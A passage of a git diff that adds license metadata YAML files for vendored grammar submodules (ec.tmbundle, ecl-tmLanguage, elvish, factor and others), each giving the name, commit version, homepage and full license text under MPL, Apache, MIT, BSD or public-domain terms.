+        license for the Executable Form does not attempt to limit or alter
+        the recipients' rights in the Source Code Form under this License.
+
+    3.3. Distribution of a Larger Work
+
+    You may create and distribute a Larger Work under terms of Your choice,
+    provided that You also comply with the requirements of this License for
+    the Covered Software. If the Larger Work is a combination of Covered
+    Software with a work governed by one or more Secondary Licenses, and the
+    Covered Software is not Incompatible With Secondary Licenses, this
+    License permits You to additionally distribute such Covered Software
+    under the terms of such Secondary License(s), so that the recipient of
+    the Larger Work may, at their option, further distribute the Covered
+    Software under the terms of either this License or such Secondary
+    License(s).
+
+    3.4. Notices
+
+    You may not remove or alter the substance of any license notices
+    (including copyright notices, patent notices, disclaimers of warranty,
+    or limitations of liability) contained within the Source Code Form of
+    the Covered Software, except that You may alter any license notices to
+    the extent required to remedy known factual inaccuracies.
+
+    3.5. Application of Additional Terms
+
+    You may choose to offer, and to charge a fee for, warranty, support,
+    indemnity or liability obligations to one or more recipients of Covered
+    Software. However, You may do so only on Your own behalf, and not on
+    behalf of any Contributor. You must make it absolutely clear that any
+    such warranty, support, indemnity, or liability obligation is offered by
+    You alone, and You hereby agree to indemnify every Contributor for any
+    liability incurred by such Contributor as a result of warranty, support,
+    indemnity or liability terms You offer. You may include additional
+    disclaimers of warranty and limitations of liability specific to any
+    jurisdiction.
+
+    4. Inability to Comply Due to Statute or Regulation
+    ---------------------------------------------------
+
+    If it is impossible for You to comply with any of the terms of this
+    License with respect to some or all of the Covered Software due to
+    statute, judicial order, or regulation then You must: (a) comply with
+    the terms of this License to the maximum extent possible; and (b)
+    describe the limitations and the code they affect. Such description must
+    be placed in a text file included with all distributions of the Covered
+    Software under this License. Except to the extent prohibited by statute
+    or regulation, such description must be sufficiently detailed for a
+    recipient of ordinary skill to be able to understand it.
+
+    5. Termination
+    --------------
+
+    5.1. The rights granted under this License will terminate automatically
+    if You fail to comply with any of its terms. However, if You become
+    compliant, then the rights granted under this License from a particular
+    Contributor are reinstated (a) provisionally, unless and until such
+    Contributor explicitly and finally terminates Your grants, and (b) on an
+    ongoing basis, if such Contributor fails to notify You of the
+    non-compliance by some reasonable means prior to 60 days after You have
+    come back into compliance. Moreover, Your grants from a particular
+    Contributor are reinstated on an ongoing basis if such Contributor
+    notifies You of the non-compliance by some reasonable means, this is the
+    first time You have received notice of non-compliance with this License
+    from such Contributor, and You become compliant prior to 30 days after
+    Your receipt of the notice.
+
+    5.2. If You initiate litigation against any entity by asserting a patent
+    infringement claim (excluding declaratory judgment actions,
+    counter-claims, and cross-claims) alleging that a Contributor Version
+    directly or indirectly infringes any patent, then the rights granted to
+    You by any and all Contributors for the Covered Software under Section
+    2.1 of this License shall terminate.
+
+    5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+    end user license agreements (excluding distributors and resellers) which
+    have been validly granted by You or Your distributors under this License
+    prior to termination shall survive termination.
+
+    ************************************************************************
+    *                                                                      *
+    *  6. Disclaimer of Warranty                                           *
+    *  -------------------------                                           *
+    *                                                                      *
+    *  Covered Software is provided under this License on an "as is"       *
+    *  basis, without warranty of any kind, either expressed, implied, or  *
+    *  statutory, including, without limitation, warranties that the       *
+    *  Covered Software is free of defects, merchantable, fit for a        *
+    *  particular purpose or non-infringing. The entire risk as to the     *
+    *  quality and performance of the Covered Software is with You.        *
+    *  Should any Covered Software prove defective in any respect, You     *
+    *  (not any Contributor) assume the cost of any necessary servicing,   *
+    *  repair, or correction. This disclaimer of warranty constitutes an   *
+    *  essential part of this License. No use of any Covered Software is   *
+    *  authorized under this License except under this disclaimer.         *
+    *                                                                      *
+    ************************************************************************
+
+    ************************************************************************
+    *                                                                      *
+    *  7. Limitation of Liability                                          *
+    *  --------------------------                                          *
+    *                                                                      *
+    *  Under no circumstances and under no legal theory, whether tort      *
+    *  (including negligence), contract, or otherwise, shall any           *
+    *  Contributor, or anyone who distributes Covered Software as          *
+    *  permitted above, be liable to You for any direct, indirect,         *
+    *  special, incidental, or consequential damages of any character      *
+    *  including, without limitation, damages for lost profits, loss of    *
+    *  goodwill, work stoppage, computer failure or malfunction, or any    *
+    *  and all other commercial damages or losses, even if such party      *
+    *  shall have been informed of the possibility of such damages. This   *
+    *  limitation of liability shall not apply to liability for death or   *
+    *  personal injury resulting from such party's negligence to the       *
+    *  extent applicable law prohibits such limitation. Some               *
+    *  jurisdictions do not allow the exclusion or limitation of           *
+    *  incidental or consequential damages, so this exclusion and          *
+    *  limitation may not apply to You.                                    *
+    *                                                                      *
+    ************************************************************************
+
+    8. Litigation
+    -------------
+
+    Any litigation relating to this License may be brought only in the
+    courts of a jurisdiction where the defendant maintains its principal
+    place of business and such litigation shall be governed by laws of that
+    jurisdiction, without reference to its conflict-of-law provisions.
+    Nothing in this Section shall prevent a party's ability to bring
+    cross-claims or counter-claims.
+
+    9. Miscellaneous
+    ----------------
+
+    This License represents the complete agreement concerning the subject
+    matter hereof. If any provision of this License is held to be
+    unenforceable, such provision shall be reformed only to the extent
+    necessary to make it enforceable. Any law or regulation which provides
+    that the language of a contract shall be construed against the drafter
+    shall not be used to construe this License against a Contributor.
+
+    10. Versions of the License
+    ---------------------------
+
+    10.1. New Versions
+
+    Mozilla Foundation is the license steward. Except as provided in Section
+    10.3, no one other than the license steward has the right to modify or
+    publish new versions of this License. Each version will be given a
+    distinguishing version number.
+
+    10.2. Effect of New Versions
+
+    You may distribute the Covered Software under the terms of the version
+    of the License under which You originally received the Covered Software,
+    or under the terms of any subsequent version published by the license
+    steward.
+
+    10.3. Modified Versions
+
+    If you create software not governed by this License, and you want to
+    create a new license for such software, you may create and use a
+    modified version of this License if you rename the license and remove
+    any references to the name of the license steward (except to note that
+    such modified license differs from this License).
+
+    10.4. Distributing Source Code Form that is Incompatible With Secondary
+    Licenses
+
+    If You choose to distribute Source Code Form that is Incompatible With
+    Secondary Licenses under the terms of this version of the License, the
+    notice described in Exhibit B of this License must be attached.
+
+    Exhibit A - Source Code Form License Notice
+    -------------------------------------------
+
+      This Source Code Form is subject to the terms of the Mozilla Public
+      License, v. 2.0. If a copy of the MPL was not distributed with this
+      file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+    If it is not possible or desirable to put the notice in a particular
+    file, then You may include the notice in a location (such as a LICENSE
+    file in a relevant directory) where a recipient would be likely to look
+    for such a notice.
+
+    You may add additional accurate notices of copyright ownership.
+
+    Exhibit B - "Incompatible With Secondary Licenses" Notice
+    ---------------------------------------------------------
+
+      This Source Code Form is "Incompatible With Secondary Licenses", as
+      defined by the Mozilla Public License, v. 2.0.
+notices: []
diff --git a/vendor/licenses/git_submodule/ec.tmbundle.dep.yml b/vendor/licenses/git_submodule/ec.tmbundle.dep.yml
new file mode 100644
index 0000000000..0fdbffbc2e
--- /dev/null
+++ b/vendor/licenses/git_submodule/ec.tmbundle.dep.yml
@@ -0,0 +1,34 @@
+---
+name: ec.tmbundle
+version: b8ec2d32afcaaef5ed7471d80aa4e0cd8717944d
+type: git_submodule
+homepage: https://github.com/ecere/ec.tmbundle
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/ecl-tmLanguage.dep.yml b/vendor/licenses/git_submodule/ecl-tmLanguage.dep.yml
new file mode 100644
index 0000000000..3bac6ee25b
--- /dev/null
+++ b/vendor/licenses/git_submodule/ecl-tmLanguage.dep.yml
@@ -0,0 +1,211 @@
+---
+name: ecl-tmLanguage
+version: f4ee3a872123377ec2e3d688eae7de3e1c4273d2
+type: git_submodule
+homepage: https://github.com/hpcc-systems/ecl-tmLanguage
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Macek Ondřej
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/edge-vscode.dep.yml b/vendor/licenses/git_submodule/edge-vscode.dep.yml
new file mode 100644
index 0000000000..5cb4748c88
--- /dev/null
+++ b/vendor/licenses/git_submodule/edge-vscode.dep.yml
@@ -0,0 +1,19 @@
+---
+name: edge-vscode
+version: 90ee5daf16680df3a00a9f1aed0bf014087dec8b
+type: git_submodule
+homepage: https://github.com/edge-js/edge-vscode.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    # The MIT License
+
+    Copyright 2022 Harminder Virk, contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/edgedb-editor-plugin.dep.yml b/vendor/licenses/git_submodule/edgedb-editor-plugin.dep.yml
new file mode 100644
index 0000000000..173eff4456
--- /dev/null
+++ b/vendor/licenses/git_submodule/edgedb-editor-plugin.dep.yml
@@ -0,0 +1,31 @@
+---
+name: edgedb-editor-plugin
+version: 1d5cb1230786a3899c170fd554b184df8eca0f33
+type: git_submodule
+homepage: https://github.com/edgedb/edgedb-editor-plugin.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2015-present MagicStack Inc.  http://magic.io
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/eiffel.tmbundle.dep.yml b/vendor/licenses/git_submodule/eiffel.tmbundle.dep.yml
new file mode 100644
index 0000000000..933fffe824
--- /dev/null
+++ b/vendor/licenses/git_submodule/eiffel.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: eiffel.tmbundle
+version: 90662167c35bc4dcd1623400c5e9f99136b95992
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/ejs-tmbundle.dep.yml b/vendor/licenses/git_submodule/ejs-tmbundle.dep.yml
new file mode 100644
index 0000000000..c2d8054cec
--- /dev/null
+++ b/vendor/licenses/git_submodule/ejs-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: ejs-tmbundle
+version: 5e48fff7258a94a8f57b142fa38571a1f9f68c44
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2016 Gregory Man
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/elixir-tmbundle.dep.yml b/vendor/licenses/git_submodule/elixir-tmbundle.dep.yml
new file mode 100644
index 0000000000..0cf0b6236c
--- /dev/null
+++ b/vendor/licenses/git_submodule/elixir-tmbundle.dep.yml
@@ -0,0 +1,23 @@
+---
+name: elixir-tmbundle
+version: f6867d6aee89c23a9803d958c62eef1c60170e28
+type: git_submodule
+homepage: https://github.com/elixir-lang/elixir-tmbundle
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |-
+    Copyright 2012 Plataformatec.
+
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/elvish.dep.yml b/vendor/licenses/git_submodule/elvish.dep.yml
new file mode 100644
index 0000000000..fb3789fbcd
--- /dev/null
+++ b/vendor/licenses/git_submodule/elvish.dep.yml
@@ -0,0 +1,34 @@
+---
+name: elvish
+version: ce19c91dee982d7b6413e8f2ddd4347df7a9d2db
+type: git_submodule
+homepage: https://github.com/elves/elvish.git
+license: bsd-2-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) Elvish developers and contributors. All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+    Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+- sources: README.md
+  text: |-
+    All source files use the BSD 2-clause license (see [LICENSE](LICENSE)), except
+    for the following:
+
+    -   Files in [pkg/diff](pkg/diff) and [pkg/rpc](pkg/rpc) are released under the
+        BSD 3-clause license, since they are derived from
+        [Go's source code](https://github.com/golang/go). See
+        [pkg/diff/LICENSE](pkg/diff/LICENSE) and [pkg/rpc/LICENSE](pkg/rpc/LICENSE).
+
+    -   Files in [pkg/persistent](pkg/persistent) and its subdirectories are
+        released under EPL 1.0, since they are partially derived from
+        [Clojure's source code](https://github.com/clojure/clojure). See
+        [pkg/persistent/LICENSE](pkg/persistent/LICENSE).
+
+    -   Files in [pkg/md/spec](pkg/md/spec) are released under the Creative Commons
+        CC-BY-SA 4.0 license, since they are derived from
+        [the CommonMark spec](https://github.com/commonmark/commonmark-spec). See
+        [pkg/md/spec/LICENSE](pkg/md/spec/LICENSE).
+notices: []
diff --git a/vendor/licenses/git_submodule/erlang.tmbundle.dep.yml b/vendor/licenses/git_submodule/erlang.tmbundle.dep.yml
new file mode 100644
index 0000000000..9e836dfa77
--- /dev/null
+++ b/vendor/licenses/git_submodule/erlang.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: erlang.tmbundle
+version: 136b56fe1e0f543d2b8b86ff66f524e70c621752
+type: git_submodule
+homepage: https://github.com/textmate/erlang.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/factor.dep.yml b/vendor/licenses/git_submodule/factor.dep.yml
new file mode 100644
index 0000000000..d032735e8b
--- /dev/null
+++ b/vendor/licenses/git_submodule/factor.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: factor
+version: d99c9e16632d2eb1e5a8862182529d3dcc6b7c56
+license: bsd-2-clause
+licenses:
+- text: |-
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice,
+       this list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
+    INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+    FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+    DEVELOPERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+    PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+    OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+    WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+    OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+    ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/fancy-tmbundle.dep.yml b/vendor/licenses/git_submodule/fancy-tmbundle.dep.yml
new file mode 100644
index 0000000000..182321b920
--- /dev/null
+++ b/vendor/licenses/git_submodule/fancy-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+name: fancy-tmbundle
+version: cf144f25a025da5b24ea534d3b8e7444599be398
+type: git_submodule
+homepage: https://github.com/fancy-lang/fancy-tmbundle
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014, Christopher Bertels
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+        * Redistributions of source code must retain the above copyright notice, this list of conditions and the following
+          disclaimer.
+        * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
+          disclaimer in the documentation and/or other materials provided with the distribution.
+        * Neither the name of the original authors nor the names of its contributors may be used to endorse or promote
+          products derived from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
+    INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
